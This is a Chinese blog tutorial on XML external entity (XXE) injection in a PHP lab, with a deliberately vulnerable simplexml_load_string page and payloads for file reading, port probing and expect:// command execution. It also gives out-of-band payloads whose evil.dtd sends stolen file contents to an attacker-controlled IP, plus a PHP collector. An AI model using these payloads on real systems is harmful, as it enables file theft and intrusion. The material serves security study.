WEB安全之:XXE 注入

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

XML外部实体(XXE)注入详解 - 渗透测试中心 - 博客园 (cnblogs.com)

libxml 版本大于2.9 不支持外部实体

1 XXE 注入定义

XXE 注入,即 XML External Entity,XML 外部实体注入。通过 XML 实体”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

2 XML 基础

ENTITY 实体,在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个 ENTITY,然后在这些文档中需要该数据的地方调用它。

2.1 内部实体

DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

<!ENTITY 实体名称 "实体的值">

例:
DTD:
<!ENTITY example "value of entity">
XML:
<inside>&example;</inside>

注释: 一个实体由三部分构成: "&实体名称;"

2.2 外部实体

<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

例:
DTD:
<!ENTITY example SYSTEM "http://example.com/dtd/outside.dtd">
XML:
<outside>&example;</outside>

2.3 参数实体

  • 参数实体只能在 DTD 文件中被引用,其他实体在 XML 文档内引用。
  • 参数实体在 DTD 中解析优先级高于 xml 内部实体
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
例:
<!DOCTYPE a [
    <!ENTITY % file SYSTEM “file:///etc/passwd”>
    %file;
]>

3 XXE 的危害

  1. 任意文件读取
  2. 执行系统命令
  3. 探测内网端口
  4. 攻击内网网站

4 XXE 利用方式

4.1 有回显注入方式

4.1.1 有回显测试语句

xxe.php

<?php
include 'init.php';

$string_xml = '<?xml version="1.0" encoding="utf-8"?><note><body>XXE</body></note>';

$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml);
echo  '<meta charset="UTF-8">';
print_r($data);

?>

4.1.2 有回显 Payload

  • 命名实体+外部实体
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
        <!ENTITY a SYSTEM "file:///c:/xxe/1.txt">
]>
<root>&a;</root>

[执行 payload 语句]
http://xxe.lab.com/xxe.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%20%3F%3E%0A%3C%21DOCTYPE%20root%20%5B%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20a%20SYSTEM%20%22file%3A%2f%2f%2fc%3A%2fxxe%2f1.txt%22%3E%0A%5D%3E%0A%3Croot%3E%26a%3B%3C%2froot%3E

由于 $string_xml 已经带有 xml 头信息,此处可以省略
<!DOCTYPE root [
        <!ENTITY a SYSTEM "file:///c:/xxe/1.txt">
]>
[执行 payload 语句]
http://xxe.lab.com/xxe.php?xml=%3C%21DOCTYPE%20root%20%5B%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20a%20SYSTEM%20%22file%3A%2f%2f%2fc%3A%2fxxe%2f1.txt%22%3E%0A%5D%3E%0A%3Croot%3E%26a%3B%3C%2froot%3E

4.2 无回显注入方式

  1. 攻击者发送 XML 给 Web 服务器,该 XML 文件中引用了一个外部实体,详细代码见下。
  2. Web 服务器解析 攻击者 发送的 XML,根据 XML 向 攻击者的服务器 请求获取恶意 DTD
  3. Web 服务器获取到 恶意 DTD 后,根据其内容,带着含有 Web 服务器上的信息去访问攻击者服务器上的 HTTP 或 FTP
  4. 攻击者可以通过请求日志来查看请求的参数来获取信息。

4.2.1 无回显测试语句

<?php
include 'init.php';
$xml = $_GET['xml'];
$data = simplexml_load_string($xml);
?>

4.2.2 无回显 Payload 1

命名实体+外部实体+参数实体

调用过程为:参数实体 dtd 调用外部实体 evil.xml, 然后又调用参数实体all,接着调用命名实体 send;

目的:通过外带数据通道提取读取的 1.txt 文件内容数据,以解决无加显问题。

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
    <!ENTITY % file SYSTEM "file:///c:/xxe/1.txt">
    <!ENTITY % remote SYSTEM "http://192.168.100.129/evil.dtd"> 
    %remote;
	%all; 
]> 
<root>&send;</root>
[执行 payload 语句]
http://xxe.lab.com/xxe02.php?xml=
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%20%0A%3C%21DOCTYPE%20data%20%5B%0A%20%20%20%20%3C%21ENTITY%20%25%20file%20SYSTEM%20%22file%3A%2f%2f%2fc%3A%2fxxe%2f1.txt%22%3E%0A%20%20%20%20%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2f%2f192.168.100.129%2fevil.dtd%22%3E%20%0A%20%20%20%20%25remote%3B%0A%09%25all%3B%20%0A%5D%3E%20%0A%3Croot%3E%26send%3B%3C%2froot%3E

其中 evil.dtd 文件内容为

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.100.129/recv_data.dtd?file=%file;'>">

revc_data.php 文件内容为

<?php file_put_contents("xxe_data.txt", $_GET['file']); ?>

4.2.3 无回显 Payload 2

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/xxe/1.txt">
    <!ENTITY % remote SYSTEM "http://192.168.100.129:80/evil.xml"> 
	%remote;
	%payload;
]>
<root>&send;</root>

其中 evil.xml 文件内容为:

<!ENTITY % payload "<!ENTITY send SYSTEM 'http://192.168.100.129/?file=%file;'>">

使用的 php://filter 将文件内容进行了 base64 编码,因为当我们读取的文件是 php 或则 html 文件时,文件的代码包含 < > 符号时会导致解析错误。

这里声明 payload 实体参数,该实体参数以 base64 编码方式读取了 windows 靶机中 c:/xxe/1.txt 文件内容,然后做为 URL 参数请求到自己的服务器上。然后请求 payload 可以在日志文件中找到经过 base64 编码的文件内容:

tail /var/log/apache2/access.log

image-20210623120744222

其他利用方式请参考:未知攻焉知防——XXE漏洞攻防 - SecPulse.COM | 安全脉搏

5 XML 注入实例

5.1 文档内容读取

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
	<!-- file 协议 -->
    <!ENTITY a SYSTEM "file:///c:/xxe/1.txt">
	<!-- PHP 协议 -->
	<!ENTITY a SYSTEM "php://filter/read=convert.base64-encode/resource=phpinfo.php">
]>
<root>&a;</root>

5.2 探测端口

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
	<!-- 探测端口 -->
    <!ENTITY a SYSTEM "http://xxe.lab.com:3306">
]>
<root>&a;</root>

5.3 执行命令

  • 需要开启 expect 扩展
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
	<!-- 执行命令 -->
    <!ENTITY a SYSTEM "expect://ls">
]>
<root>&a;</root>

6 XXE 预防

  1. 禁用外部实体
  2. 过滤用户提交的 XML 关键字
posted @ 2021-07-08 21:22  f_carey  阅读(119)  评论(0编辑  收藏  举报  来源